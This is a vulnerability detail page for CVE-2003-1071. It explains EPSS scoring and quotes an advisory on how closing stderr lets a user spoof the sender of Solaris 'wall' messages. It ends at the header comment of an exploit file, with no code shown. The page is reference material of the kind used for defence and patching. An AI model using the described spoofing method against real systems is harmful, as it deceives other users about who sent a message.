CVE-2003-1071 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// source: https://www.securityfocus.com/bid/6509/info Solaris is the freely available UNIX Operating System variant distributed by Sun Microsystems. The wall client packaged with Solaris makes assumptions about a user's environment when the client is executed. The assumption is made that if the file descriptor of stderr points to a tty when wall is executed, the user is local. If not, the user is considered remote, and the first five bytes of the supplied 'From' text will be used by wall as the users idenfitication. This makes it possible for a user to close stderr prior to the execution of wall, and send a spoofed message using the client. /* wallspoof.c - SOLARIS (X86/SPARC) Exploit Don't use this in a malicious way!
